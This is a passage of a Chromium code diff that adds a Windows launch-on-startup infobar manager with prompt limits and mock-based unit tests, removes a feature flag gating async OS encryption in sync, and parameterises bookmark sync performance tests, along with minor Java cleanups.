-  std::vector<glic::mojom::SkillPreviewPtr> GetContextualSkills() const;
+  std::vector<glic::mojom::SkillPtr> GetContextualSkills() const;
 
  private:
   void OnOptimizationGuideDecision(
diff --git a/chrome/browser/startup/BUILD.gn b/chrome/browser/startup/BUILD.gn
index 92240a9..7ac8d4f 100644
--- a/chrome/browser/startup/BUILD.gn
+++ b/chrome/browser/startup/BUILD.gn
@@ -9,6 +9,7 @@
 source_set("startup") {
   public = [
     "startup_features.h",
+    "startup_launch_infobar_manager.h",
     "startup_launch_manager.h",
   ]
 
diff --git a/chrome/browser/startup/startup_launch_infobar_manager.h b/chrome/browser/startup/startup_launch_infobar_manager.h
new file mode 100644
index 0000000..bcb0e26
--- /dev/null
+++ b/chrome/browser/startup/startup_launch_infobar_manager.h
@@ -0,0 +1,32 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CHROME_BROWSER_STARTUP_STARTUP_LAUNCH_INFOBAR_MANAGER_H_
+#define CHROME_BROWSER_STARTUP_STARTUP_LAUNCH_INFOBAR_MANAGER_H_
+
+#include "base/observer_list_types.h"
+
+class StartupLaunchInfoBarManager {
+ public:
+  class Observer : public base::CheckedObserver {
+   public:
+    ~Observer() override = default;
+    virtual void OnInfoBarDismissed() = 0;
+  };
+
+  enum class InfoBarType {
+    kForegroundOptIn,
+    kForegroundOptOut,
+  };
+
+  virtual ~StartupLaunchInfoBarManager() = default;
+
+  virtual void ShowInfoBars(InfoBarType infobar_type) = 0;
+  virtual void CloseAllInfoBars() = 0;
+
+  virtual void AddObserver(Observer* observer) = 0;
+  virtual void RemoveObserver(Observer* observer) = 0;
+};
+
+#endif  // CHROME_BROWSER_STARTUP_STARTUP_LAUNCH_INFOBAR_MANAGER_H_
diff --git a/chrome/browser/startup/startup_launch_manager.cc b/chrome/browser/startup/startup_launch_manager.cc
index 3204dd2..9230021 100644
--- a/chrome/browser/startup/startup_launch_manager.cc
+++ b/chrome/browser/startup/startup_launch_manager.cc
@@ -26,11 +26,12 @@
 namespace {
 
 // This method sets the pref to trial group value if user has not explicitly set
-// it.
-void UpdateForegroundLaunchPrefForTrialGroup(PrefService* local_state) {
+// it, and returns the infobar type to show.
+std::optional<StartupLaunchInfoBarManager::InfoBarType>
+UpdatePrefAndGetInfoBarType(PrefService* local_state) {
   if (!local_state->FindPreference(prefs::kForegroundLaunchOnLogin)
            ->IsDefaultValue()) {
-    return;
+    return std::nullopt;
   }
 
   // Update the pref's default value as this has lower priority than a user-set
@@ -40,14 +41,39 @@
     case features::LaunchOnStartupDefaultPreference::kDisabled:
       local_state->SetDefaultPrefValue(prefs::kForegroundLaunchOnLogin,
                                        base::Value(false));
-      break;
+      return StartupLaunchInfoBarManager::InfoBarType::kForegroundOptIn;
     case features::LaunchOnStartupDefaultPreference::kEnabled:
       local_state->SetDefaultPrefValue(prefs::kForegroundLaunchOnLogin,
                                        base::Value(true));
-      break;
+      return StartupLaunchInfoBarManager::InfoBarType::kForegroundOptOut;
   }
 }
 
+bool ShouldShowInfoBars() {
+  constexpr int kMaxPromptCount = 5;
+  constexpr int kRepromptDurationDays = 21;
+
+  PrefService* local_state = g_browser_process->local_state();
+
+  const int declined_count =
+      local_state->GetInteger(prefs::kStartupLaunchInfobarDeclinedCount);
+  const base::Time last_declined_time =
+      local_state->GetTime(prefs::kStartupLaunchInfobarLastDeclinedTime);
+
+  if (declined_count >= kMaxPromptCount) {
+    return false;
+  }
+
+  // Show if the user has never declined the prompt.
+  if (declined_count == 0) {
+    return true;
+  }
+
+  // Show if it has been long enough since the last declined time
+  return (base::Time::Now() - last_declined_time) >
+         base::Days(kRepromptDurationDays);
+}
+
 }  // namespace
 #endif  // BUILDFLAG(IS_WIN)
 
@@ -107,7 +133,7 @@
     PrefService* local_state = g_browser_process->local_state();
 
     // Update the pref as per the trial group.
-    UpdateForegroundLaunchPrefForTrialGroup(local_state);
+    infobar_type_ = UpdatePrefAndGetInfoBarType(local_state);
 
     // Register a callback that will run when this pref is changed.
     foreground_launch_on_login_.Init(
@@ -128,6 +154,32 @@
 
 StartupLaunchManager::~StartupLaunchManager() = default;
 
+#if BUILDFLAG(IS_WIN)
+void StartupLaunchManager::SetInfoBarManager(
+    std::unique_ptr<StartupLaunchInfoBarManager> manager) {
+  infobar_manager_observation_.Reset();
+  if (is_showing_infobar_ && infobar_manager_) {
+    infobar_manager_->CloseAllInfoBars();
+    is_showing_infobar_ = false;
+  }
+  infobar_manager_ = std::move(manager);
+  if (infobar_manager_) {
+    infobar_manager_observation_.Observe(infobar_manager_.get());
+  }
+}
+
+void StartupLaunchManager::MaybeShowInfoBars() {
+  if (infobar_type_.has_value() && ShouldShowInfoBars()) {
+    infobar_manager_->ShowInfoBars(*infobar_type_);
+    is_showing_infobar_ = true;
+  }
+}
+#endif  // BUILDFLAG(IS_WIN)
+
+void StartupLaunchManager::OnInfoBarDismissed() {
+  is_showing_infobar_ = false;
+}
+
 // static
 StartupLaunchManager* StartupLaunchManager::From(
     BrowserProcess* browser_process) {
@@ -179,6 +231,13 @@
   } else {
     UnregisterLaunchOnStartup(StartupLaunchReason::kForeground);
   }
+
+#if BUILDFLAG(IS_WIN)
+  if (is_showing_infobar_) {
+    infobar_manager_->CloseAllInfoBars();
+    is_showing_infobar_ = false;
+  }
+#endif
 }
 
 std::optional<StartupLaunchMode> StartupLaunchManager::GetStartupLaunchMode()
diff --git a/chrome/browser/startup/startup_launch_manager.h b/chrome/browser/startup/startup_launch_manager.h
index c48c8b5..01508a1a 100644
--- a/chrome/browser/startup/startup_launch_manager.h
+++ b/chrome/browser/startup/startup_launch_manager.h
@@ -9,8 +9,10 @@
 
 #include "base/containers/enum_set.h"
 #include "base/memory/scoped_refptr.h"
+#include "base/scoped_observation.h"
 #include "base/task/sequenced_task_runner.h"
 #include "base/timer/timer.h"
+#include "chrome/browser/startup/startup_launch_infobar_manager.h"
 #include "chrome/installer/util/auto_launch_util.h"
 #include "components/prefs/pref_member.h"
 #include "ui/base/unowned_user_data/scoped_unowned_user_data.h"
@@ -38,7 +40,7 @@
 
 // StartupLaunchManager registers with the OS so that Chrome launches on device
 // startup - depending on the reasons why Chrome should launch on startup.
-class StartupLaunchManager {
+class StartupLaunchManager : public StartupLaunchInfoBarManager::Observer {
  public:
   // Clients should instantiate and own this class, and use
   // `UpdateLaunchOnStartup` to interact with StartupLaunchManager.
@@ -62,16 +64,34 @@
   };
 
   explicit StartupLaunchManager(BrowserProcess* browser_process);
-  virtual ~StartupLaunchManager();
+  ~StartupLaunchManager() override;
 
   DECLARE_USER_DATA(StartupLaunchManager);
 
   static StartupLaunchManager* From(BrowserProcess* browser_process);
 
+  // StartupLaunchInfoBarManager::Observer:
+  void OnInfoBarDismissed() override;
+
   // Releases the lock held by this instance. Once all active locks are
   // released or 1 minute has passed, a registry commit will occur.
   void CommitLaunchOnStartupState();
 
+#if BUILDFLAG(IS_WIN)
+  // Sets the infobar manager. This is injected at runtime rather than in the
+  // constructor to resolve circular dependencies between StartupLaunchManager
+  // and the UI components that implement the infobar manager.
+  // StartupLaunchManager owns the manager. If a manager already exists and
+  // an infobar is being shown, it will be closed before the new manager
+  // takes over.
+  void SetInfoBarManager(std::unique_ptr<StartupLaunchInfoBarManager> manager);
+
+  // Triggers the display of infobars across all eligible browser windows if
+  // the preconditions (experiment state, not declined too many times) are met.
+  // Requires a manager to be set via `SetInfoBarManager` beforehand.
+  void MaybeShowInfoBars();
+#endif  // BUILDFLAG(IS_WIN)
+
  private:
   // Methods to unregister/register individual reasons with the launch manager.
   void RegisterLaunchOnStartup(StartupLaunchReason reason);
@@ -98,6 +118,8 @@
   // through settings toggle.
   void OnLaunchOnStartupPrefChanged();
 
+  bool is_showing_infobar_ = false;
+
   // Task runner for making startup/login configuration changes that may
   // require file system or registry access.
   scoped_refptr<base::SequencedTaskRunner> task_runner_;
@@ -116,6 +138,17 @@
 
   PrefMember<bool> foreground_launch_on_login_;
 
+#if BUILDFLAG(IS_WIN)
+  std::optional<StartupLaunchInfoBarManager::InfoBarType> infobar_type_ =
+      std::nullopt;
+
+  std::unique_ptr<StartupLaunchInfoBarManager> infobar_manager_;
+
+  base::ScopedObservation<StartupLaunchInfoBarManager,
+                          StartupLaunchInfoBarManager::Observer>
+      infobar_manager_observation_{this};
+#endif
+
   ui::ScopedUnownedUserData<StartupLaunchManager> scoped_unowned_user_data_;
 };
 
diff --git a/chrome/browser/startup/startup_launch_manager_unittest.cc b/chrome/browser/startup/startup_launch_manager_unittest.cc
index 2c82038..2113725 100644
--- a/chrome/browser/startup/startup_launch_manager_unittest.cc
+++ b/chrome/browser/startup/startup_launch_manager_unittest.cc
@@ -33,6 +33,16 @@
                void(std::optional<StartupLaunchMode> startup_mode));
 };
 
+#if BUILDFLAG(IS_WIN)
+class MockStartupLaunchInfoBarManager : public StartupLaunchInfoBarManager {
+ public:
+  MOCK_METHOD(void, ShowInfoBars, (InfoBarType infobar_type), (override));
+  MOCK_METHOD(void, CloseAllInfoBars, (), (override));
+  MOCK_METHOD(void, AddObserver, (Observer * observer), (override));
+  MOCK_METHOD(void, RemoveObserver, (Observer * observer), (override));
+};
+#endif
+
 }  // namespace
 
 class StartupLaunchManagerTestBase : public testing::Test {
@@ -419,6 +429,107 @@
   testing::Mock::VerifyAndClearExpectations(launch_manager);
 }
 
+TEST_F(StartupLaunchManagerForegroundLaunchOptInTest, ShowInfoBarIfApplicable) {
+  TestStartupLaunchManager* const launch_manager = launch_on_startup_manager();
+  auto infobar_manager_mock =
+      std::make_unique<MockStartupLaunchInfoBarManager>();
+  MockStartupLaunchInfoBarManager* infobar_manager = infobar_manager_mock.get();
+
+  // Expectations for setting the manager: it should observe the new manager.
+  EXPECT_CALL(*infobar_manager, AddObserver(launch_manager))
+      .Times(testing::Exactly(1));
+
+  launch_manager->SetInfoBarManager(std::move(infobar_manager_mock));
+  testing::Mock::VerifyAndClearExpectations(launch_manager);
+
+  // Expectations for showing infobars.
+  EXPECT_CALL(
+      *infobar_manager,
+      ShowInfoBars(StartupLaunchInfoBarManager::InfoBarType::kForegroundOptIn))
+      .Times(testing::Exactly(1));
+
+  launch_manager->MaybeShowInfoBars();
+  testing::Mock::VerifyAndClearExpectations(launch_manager);
+}
+
+TEST_F(StartupLaunchManagerForegroundLaunchOptInTest,
+       CloseInfoBarsOnPrefChange) {
+  TestStartupLaunchManager* const launch_manager = launch_on_startup_manager();
+  auto infobar_manager_mock =
+      std::make_unique<MockStartupLaunchInfoBarManager>();
+  MockStartupLaunchInfoBarManager* infobar_manager = infobar_manager_mock.get();
+
+  launch_manager->SetInfoBarManager(std::move(infobar_manager_mock));
+  launch_manager->MaybeShowInfoBars();
+
+  EXPECT_CALL(*infobar_manager, CloseAllInfoBars()).Times(testing::Exactly(1));
+  g_browser_process->local_state()->SetBoolean(prefs::kForegroundLaunchOnLogin,
+                                               true);
+  testing::Mock::VerifyAndClearExpectations(launch_manager);
+}
+
+TEST_F(StartupLaunchManagerForegroundLaunchOptInTest,
+       CloseInfoBarsOnNewManager) {
+  TestStartupLaunchManager* const launch_manager = launch_on_startup_manager();
+  auto infobar_manager_mock1 =
+      std::make_unique<MockStartupLaunchInfoBarManager>();
+  MockStartupLaunchInfoBarManager* infobar_manager1 =
+      infobar_manager_mock1.get();
+
+  EXPECT_CALL(*infobar_manager1, AddObserver(launch_manager))
+      .Times(testing::Exactly(1));
+  launch_manager->SetInfoBarManager(std::move(infobar_manager_mock1));
+  testing::Mock::VerifyAndClearExpectations(launch_manager);
+
+  // Simulate showing infobars.
+  EXPECT_CALL(*infobar_manager1, ShowInfoBars(testing::_))
+      .Times(testing::Exactly(1));
+  launch_manager->MaybeShowInfoBars();
+  testing::Mock::VerifyAndClearExpectations(launch_manager);
+
+  auto infobar_manager_mock2 =
+      std::make_unique<MockStartupLaunchInfoBarManager>();
+  MockStartupLaunchInfoBarManager* infobar_manager2 =
+      infobar_manager_mock2.get();
+
+  // When setting a new manager while one is active and showing, it should close
+  // old infobars.
+  EXPECT_CALL(*infobar_manager1, CloseAllInfoBars()).Times(testing::Exactly(1));
+  EXPECT_CALL(*infobar_manager2, AddObserver(launch_manager))
+      .Times(testing::Exactly(1));
+
+  launch_manager->SetInfoBarManager(std::move(infobar_manager_mock2));
+  testing::Mock::VerifyAndClearExpectations(launch_manager);
+}
+
+TEST_F(StartupLaunchManagerForegroundLaunchOptInTest,
+       ObserverNotifiedOnDismiss) {
+  TestStartupLaunchManager* const launch_manager = launch_on_startup_manager();
+  auto infobar_manager_mock =
+      std::make_unique<MockStartupLaunchInfoBarManager>();
+  MockStartupLaunchInfoBarManager* infobar_manager = infobar_manager_mock.get();
+
+  launch_manager->SetInfoBarManager(std::move(infobar_manager_mock));
+
+  EXPECT_CALL(*infobar_manager, ShowInfoBars(testing::_))
+      .Times(testing::Exactly(1));
+  launch_manager->MaybeShowInfoBars();
+  testing::Mock::VerifyAndClearExpectations(launch_manager);
+
+  // Simulate dismissal.
+  launch_manager->OnInfoBarDismissed();
+
+  // If we try to set a new manager now, it should NOT try to close existing
+  // infobars because we've been notified they are dismissed/handled.
+  auto infobar_manager_mock2 =
+      std::make_unique<MockStartupLaunchInfoBarManager>();
+
+  EXPECT_CALL(*infobar_manager, CloseAllInfoBars()).Times(testing::Exactly(0));
+
+  launch_manager->SetInfoBarManager(std::move(infobar_manager_mock2));
+  testing::Mock::VerifyAndClearExpectations(launch_manager);
+}
+
 class StartupLaunchManagerForegroundLaunchOptOutTest
     : public StartupLaunchManagerTestBase {
  public:
@@ -480,4 +591,28 @@
   testing::Mock::VerifyAndClearExpectations(launch_manager);
 }
 
+TEST_F(StartupLaunchManagerForegroundLaunchOptOutTest,
+       ShowInfoBarIfApplicable) {
+  TestStartupLaunchManager* const launch_manager = launch_on_startup_manager();
+  auto infobar_manager_mock =
+      std::make_unique<MockStartupLaunchInfoBarManager>();
+  MockStartupLaunchInfoBarManager* infobar_manager = infobar_manager_mock.get();
+
+  // Expectations for setting the manager: it should observe the new manager.
+  EXPECT_CALL(*infobar_manager, AddObserver(launch_manager))
+      .Times(testing::Exactly(1));
+
+  launch_manager->SetInfoBarManager(std::move(infobar_manager_mock));
+  testing::Mock::VerifyAndClearExpectations(launch_manager);
+
+  // Expectations for showing infobars.
+  EXPECT_CALL(
+      *infobar_manager,
+      ShowInfoBars(StartupLaunchInfoBarManager::InfoBarType::kForegroundOptOut))
+      .Times(testing::Exactly(1));
+
+  launch_manager->MaybeShowInfoBars();
+  testing::Mock::VerifyAndClearExpectations(launch_manager);
+}
+
 #endif  // BUILDFLAG(IS_WIN)
diff --git a/chrome/browser/sync/sync_service_factory.cc b/chrome/browser/sync/sync_service_factory.cc
index c9cdb36..c75419f 100644
--- a/chrome/browser/sync/sync_service_factory.cc
+++ b/chrome/browser/sync/sync_service_factory.cc
@@ -403,9 +403,7 @@
       content::GetNetworkConnectionTracker();
   init_params.channel = chrome::GetChannel();
   init_params.debug_identifier = profile->GetDebugName();
-  if (base::FeatureList::IsEnabled(syncer::kSyncUseOsCryptAsync)) {
-    init_params.os_crypt_async = g_browser_process->os_crypt_async();
-  }
+  init_params.os_crypt_async = g_browser_process->os_crypt_async();
 
   bool local_sync_backend_enabled = false;
   // Only check the local sync backend pref on the supported platforms of
diff --git a/chrome/browser/sync/test/integration/BUILD.gn b/chrome/browser/sync/test/integration/BUILD.gn
index bc01ccb..1a0a6a6 100644
--- a/chrome/browser/sync/test/integration/BUILD.gn
+++ b/chrome/browser/sync/test/integration/BUILD.gn
@@ -155,7 +155,6 @@
       "single_client_webauthn_credentials_sync_test.cc",
       "sync_auth_test.cc",
       "sync_errors_test.cc",
-      "sync_os_crypt_async_migration_test.cc",
       "web_apps/single_client_web_apps_sync_generated_icon_fix_sync_test.cc",
       "web_apps/single_client_web_apps_sync_test.cc",
 
diff --git a/chrome/browser/sync/test/integration/performance/autofill_sync_perf_test.cc b/chrome/browser/sync/test/integration/performance/autofill_sync_perf_test.cc
index 17663ac..122345e1 100644
--- a/chrome/browser/sync/test/integration/performance/autofill_sync_perf_test.cc
+++ b/chrome/browser/sync/test/integration/performance/autofill_sync_perf_test.cc
@@ -91,6 +91,11 @@
   AutofillProfileSyncPerfTest& operator=(const AutofillProfileSyncPerfTest&) =
       delete;
 
+  SetupSyncMode GetSetupSyncMode() const override {
+    // The AUTOFILL_PROFILE data type is not supported in transport mode.
+    return SetupSyncMode::kSyncTheFeature;
+  }
+
   // Adds |num_profiles| new autofill profiles to the sync profile |profile|.
   void AddProfiles(int profile, int num_profiles);
 
@@ -199,6 +204,11 @@
   AutocompleteSyncPerfTest(const AutocompleteSyncPerfTest&) = delete;
   AutocompleteSyncPerfTest& operator=(const AutocompleteSyncPerfTest&) = delete;
 
+  SetupSyncMode GetSetupSyncMode() const override {
+    // The AUTOFILL_PROFILE data type is not supported in transport mode.
+    return SetupSyncMode::kSyncTheFeature;
+  }
+
   // Adds |num_keys| new autocomplete keys to the sync profile |profile|.
   void AddKeys(int profile, int num_keys);
 
diff --git a/chrome/browser/sync/test/integration/performance/bookmarks_sync_perf_test.cc b/chrome/browser/sync/test/integration/performance/bookmarks_sync_perf_test.cc
index 573212be..871cf80 100644
--- a/chrome/browser/sync/test/integration/performance/bookmarks_sync_perf_test.cc
+++ b/chrome/browser/sync/test/integration/performance/bookmarks_sync_perf_test.cc
@@ -16,6 +16,7 @@
 using bookmarks_helper::IndexedURLTitle;
 using bookmarks_helper::Remove;
 using bookmarks_helper::SetURL;
+using bookmarks_helper::StoreType;
 using sync_timing_helper::TimeMutualSyncCycle;
 
 static const size_t kNumBookmarks = 150;
@@ -37,13 +38,24 @@
 
 }  // namespace
 
-class BookmarksSyncPerfTest : public SyncTest {
+class BookmarksSyncPerfTest
+    : public SyncTest,
+      public testing::WithParamInterface<SyncTest::SetupSyncMode> {
  public:
-  BookmarksSyncPerfTest() : SyncTest(TWO_CLIENT) {}
+  BookmarksSyncPerfTest() : SyncTest(TWO_CLIENT) {
+    if (GetSetupSyncMode() == SetupSyncMode::kSyncTransportOnly) {
+      scoped_feature_list_.InitAndEnableFeature(
+          syncer::kReplaceSyncPromosWithSignInPromos);
+    }
+  }
 
   BookmarksSyncPerfTest(const BookmarksSyncPerfTest&) = delete;
   BookmarksSyncPerfTest& operator=(const BookmarksSyncPerfTest&) = delete;
 
+  SyncTest::SetupSyncMode GetSetupSyncMode() const override {
+    return GetParam();
+  }
+
   // Adds |num_urls| new unique bookmarks to the bookmark bar for |profile|.
   void AddURLs(int profile, size_t num_urls);
 
@@ -56,7 +68,16 @@
   // Returns the number of bookmarks stored in the bookmark bar for |profile|.
   size_t GetURLCount(int profile);
 
+ protected:
+  StoreType GetStoreType() const {
+    return GetSetupSyncMode() == SetupSyncMode::kSyncTransportOnly
+               ? StoreType::kAccountStore
+               : StoreType::kLocalOrSyncableStore;
+  }
+
  private:
+  base::test::ScopedFeatureList scoped_feature_list_;
+
   // Returns a new unique bookmark URL.
   std::string NextIndexedURL();
 
@@ -70,25 +91,25 @@
 void BookmarksSyncPerfTest::AddURLs(int profile, size_t num_urls) {
   for (size_t i = 0; i < num_urls; ++i) {
     ASSERT_TRUE(AddURL(profile, 0, NextIndexedURLTitle(),
-                       GURL(NextIndexedURL())) != nullptr);
+                       GURL(NextIndexedURL()), GetStoreType()) != nullptr);
   }
 }
 
 void BookmarksSyncPerfTest::UpdateURLs(int profile) {
   for (const std::unique_ptr<bookmarks::BookmarkNode>& child :
-       GetBookmarkBarNode(profile)->children()) {
+       GetBookmarkBarNode(profile, GetStoreType())->children()) {
     ASSERT_TRUE(SetURL(profile, child.get(), GURL(NextIndexedURL())));
   }
 }
 
 void BookmarksSyncPerfTest::RemoveURLs(int profile) {
-  while (!GetBookmarkBarNode(profile)->children().empty()) {
-    Remove(profile, GetBookmarkBarNode(profile), 0);
+  while (!GetBookmarkBarNode(profile, GetStoreType())->children().empty()) {
+    Remove(profile, GetBookmarkBarNode(profile, GetStoreType()), 0);
   }
 }
 
 size_t BookmarksSyncPerfTest::GetURLCount(int profile) {
-  return GetBookmarkBarNode(profile)->children().size();
+  return GetBookmarkBarNode(profile, GetStoreType())->children().size();
 }
 
 std::string BookmarksSyncPerfTest::NextIndexedURL() {
@@ -99,7 +120,12 @@
   return IndexedURLTitle(url_title_number_++);
 }
 
-IN_PROC_BROWSER_TEST_F(BookmarksSyncPerfTest, P0) {
+INSTANTIATE_TEST_SUITE_P(,
+                         BookmarksSyncPerfTest,
+                         GetSyncTestModes(),
+                         testing::PrintToStringParamName());
+
+IN_PROC_BROWSER_TEST_P(BookmarksSyncPerfTest, P0) {
   ASSERT_TRUE(SetupSync());
 
   perf_test::PerfResultReporter reporter =
diff --git a/chrome/browser/sync/test/integration/sync_os_crypt_async_migration_test.cc b/chrome/browser/sync/test/integration/sync_os_crypt_async_migration_test.cc
deleted file mode 100644
index f7a15da..0000000
--- a/chrome/browser/sync/test/integration/sync_os_crypt_async_migration_test.cc
+++ /dev/null
@@ -1,150 +0,0 @@
-// Copyright 2025 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include <algorithm>
-
-#include "base/test/scoped_feature_list.h"
-#include "chrome/browser/sync/test/integration/passwords_helper.h"
-#include "chrome/browser/sync/test/integration/sync_service_impl_harness.h"
-#include "chrome/browser/sync/test/integration/sync_test.h"
-#include "chrome/browser/sync/test/integration/updated_progress_marker_checker.h"
-#include "components/password_manager/core/browser/password_store/password_store_interface.h"
-#include "components/sync/base/features.h"
-#include "content/public/test/browser_test.h"
-#include "testing/gtest/include/gtest/gtest.h"
-
-namespace {
-
-using passwords_helper::GetAccountPasswordStoreInterface;
-using passwords_helper::GetPasswordCount;
-using passwords_helper::GetProfilePasswordStoreInterface;
-
-// This test simulates a migration scenario for the kSyncUseOsCryptAsync
-// feature. It is structured as a PRE_PRE_ / PRE_ / regular test to check that
-// passwords synced with different states of the feature flag can be correctly
-// decrypted and read by the client. The sequence is:
-// 1. PRE_PRE_Migrate: kSyncUseOsCryptAsync disabled. A password is added.
-// 2. PRE_Migrate: kSyncUseOsCryptAsync enabled. Another password is added.
-// 3. Migrate: kSyncUseOsCryptAsync disabled again. Verifies that both
-//    passwords are present and readable.
-// Note that OSCrypt itself is stateless, but this tests that the encryption
-// keys are managed correctly and that data remains readable across migrations.
-class SyncOSCryptAsyncMigrationTest
-    : public SyncTest,
-      public testing::WithParamInterface<SyncTest::SetupSyncMode> {
- public:
-  SyncOSCryptAsyncMigrationTest() : SyncTest(SINGLE_CLIENT) {}
-  ~SyncOSCryptAsyncMigrationTest() override = default;
-
-  SyncTest::SetupSyncMode GetSetupSyncMode() const override {
-    return GetParam();
-  }
-
-  void SetUpInProcessBrowserTestFixture() override {
-    std::vector<base::test::FeatureRef> enabled_features;
-    std::vector<base::test::FeatureRef> disabled_features;
-    if (GetSetupSyncMode() == SetupSyncMode::kSyncTransportOnly) {
-      enabled_features.push_back(syncer::kReplaceSyncPromosWithSignInPromos);
-    }
-
-    switch (GetTestPreCount()) {
-      case 2:  // PRE_PRE_Migrate
-        disabled_features.push_back(syncer::kSyncUseOsCryptAsync);
-        break;
-      case 1:  // PRE_Migrate
-        enabled_features.push_back(syncer::kSyncUseOsCryptAsync);
-        break;
-      case 0:  // Migrate
-        disabled_features.push_back(syncer::kSyncUseOsCryptAsync);
-        break;
-    }
-    scoped_feature_list_.InitWithFeatures(enabled_features, disabled_features);
-    SyncTest::SetUpInProcessBrowserTestFixture();
-  }
-
-  password_manager::PasswordForm::Store GetStoreType() const {
-    switch (GetSetupSyncMode()) {
-      case SetupSyncMode::kSyncTransportOnly:
-        return password_manager::PasswordForm::Store::kAccountStore;
-      case SetupSyncMode::kSyncTheFeature:
-        return password_manager::PasswordForm::Store::kProfileStore;
-    }
-  }
-
-  password_manager::PasswordForm CreateTestPasswordForm(int index) {
-    return passwords_helper::CreateTestPasswordForm(index, GetStoreType());
-  }
-
-  password_manager::PasswordStoreInterface* GetPasswordStore() {
-    return passwords_helper::GetPasswordStoreInterface(0, GetStoreType());
-  }
-
-  int GetPasswordStoreCount() { return GetPasswordCount(0, GetStoreType()); }
-
-  std::vector<password_manager::PasswordForm> GetAllPasswords() {
-    std::vector<std::unique_ptr<password_manager::PasswordForm>> logins =
-        passwords_helper::GetLogins(GetPasswordStore());
-    std::vector<password_manager::PasswordForm> passwords;
-    for (const auto& login : logins) {
-      passwords.push_back(*login);
-    }
-    return passwords;
-  }
-
- private:
-  base::test::ScopedFeatureList scoped_feature_list_;
-};
-
-IN_PROC_BROWSER_TEST_P(SyncOSCryptAsyncMigrationTest, PRE_PRE_Migrate) {
-  ASSERT_TRUE(SetupSync()) << "SetupSync() failed.";
-  ASSERT_EQ(GetPasswordStoreCount(), 0);
-
-  GetPasswordStore()->AddLogin(CreateTestPasswordForm(0));
-
-  ASSERT_TRUE(UpdatedProgressMarkerChecker(GetSyncService(0)).Wait());
-}
-
-IN_PROC_BROWSER_TEST_P(SyncOSCryptAsyncMigrationTest, PRE_Migrate) {
-  ASSERT_TRUE(SetupClients());
-  ASSERT_TRUE(GetClient(0)->AwaitSyncTransportActive());
-  ASSERT_EQ(GetPasswordStoreCount(), 1);
-
-  GetPasswordStore()->AddLogin(CreateTestPasswordForm(1));
-
-  ASSERT_TRUE(UpdatedProgressMarkerChecker(GetSyncService(0)).Wait());
-}
-
-IN_PROC_BROWSER_TEST_P(SyncOSCryptAsyncMigrationTest, Migrate) {
-  ASSERT_TRUE(SetupClients());
-  ASSERT_TRUE(GetClient(0)->AwaitSyncTransportActive());
-  GetSyncService(0)->TriggerRefresh(
-      syncer::SyncService::TriggerRefreshSource::kUnknown, {syncer::PASSWORDS});
-  ASSERT_TRUE(UpdatedProgressMarkerChecker(GetSyncService(0)).Wait());
-  ASSERT_EQ(GetPasswordStoreCount(), 2);
-
-  std::vector<password_manager::PasswordForm> passwords = GetAllPasswords();
-  ASSERT_EQ(passwords.size(), 2u);
-
-  // Sort by username to have a deterministic order.
-  std::sort(passwords.begin(), passwords.end(),
-            [](const password_manager::PasswordForm& a,
-               const password_manager::PasswordForm& b) {
-              return a.username_value < b.username_value;
-            });
-
-  // If kSyncUseOsCryptAsync were to use an incorrect key, the decryption of the
-  // second password (added while the feature was enabled) would fail, causing
-  // its `password_value` to be empty and the expectation below to fail.
-  EXPECT_EQ(passwords[0].username_value, u"username0");
-  EXPECT_EQ(passwords[0].password_value, u"password0");
-  EXPECT_EQ(passwords[1].username_value, u"username1");
-  EXPECT_EQ(passwords[1].password_value, u"password1");
-}
-
-INSTANTIATE_TEST_SUITE_P(All,
-                         SyncOSCryptAsyncMigrationTest,
-                         GetSyncTestModes(),
-                         testing::PrintToStringParamName());
-
-}  // namespace
diff --git a/chrome/browser/tab/java/src/org/chromium/chrome/browser/tab/TrustedCdn.java b/chrome/browser/tab/java/src/org/chromium/chrome/browser/tab/TrustedCdn.java
index c5ceea0b..06e129a 100644
--- a/chrome/browser/tab/java/src/org/chromium/chrome/browser/tab/TrustedCdn.java
+++ b/chrome/browser/tab/java/src/org/chromium/chrome/browser/tab/TrustedCdn.java
@@ -115,7 +115,7 @@
     private TrustedCdn(Tab tab) {
         super(tab);
         mTab = tab;
-        mNativeTrustedCdn = TrustedCdnJni.get().init(this);
+        mNativeTrustedCdn = TrustedCdnJni.get().init();
     }
 
     @Override
@@ -153,7 +153,7 @@
 
     @NativeMethods
     public interface Natives {
-        long init(TrustedCdn self);
+        long init();
 
         void onDestroyed(long nativeTrustedCdn);
 
diff --git a/chrome/browser/tabwindow/internal/android/java/src/org/chromium/chrome/browser/tabwindow/TabWindowManagerImplUnitTest.java b/chrome/browser/tabwindow/internal/android/java/src/org/chromium/chrome/browser/tabwindow/TabWindowManagerImplUnitTest.java
index 3d5cde3d..51554ca 100644
--- a/chrome/browser/tabwindow/internal/android/java/src/org/chromium/chrome/browser/tabwindow/TabWindowManagerImplUnitTest.java
+++ b/chrome/browser/tabwindow/internal/android/java/src/org/chromium/chrome/browser/tabwindow/TabWindowManagerImplUnitTest.java
@@ -1065,8 +1065,7 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 0,
-                        /* closureTime= */ 0,
-                        /* markedForDeletion= */ false));
+                        /* closureTime= */ 0));
         instanceInfoList.add(
                 new InstanceInfo(
                         /* instanceId= */ 1,
@@ -1079,8 +1078,7 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 0,
-                        /* closureTime= */ 0,
-                        /* markedForDeletion= */ false));
+                        /* closureTime= */ 0));
         instanceInfoList.add(
                 new InstanceInfo(
                         /* instanceId= */ 2,
@@ -1093,8 +1091,7 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 0,
-                        /* closureTime= */ 0,
-                        /* markedForDeletion= */ false));
+                        /* closureTime= */ 0));
         when(mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY))
                 .thenReturn(instanceInfoList);
 
@@ -1154,8 +1151,7 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 0,
-                        /* closureTime= */ 0,
-                        /* markedForDeletion= */ false));
+                        /* closureTime= */ 0));
         when(mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY))
                 .thenReturn(instanceInfoList);
 
diff --git a/chrome/browser/ui/BUILD.gn b/chrome/browser/ui/BUILD.gn
index f934a24..788625b 100644
--- a/chrome/browser/ui/BUILD.gn
+++ b/chrome/browser/ui/BUILD.gn
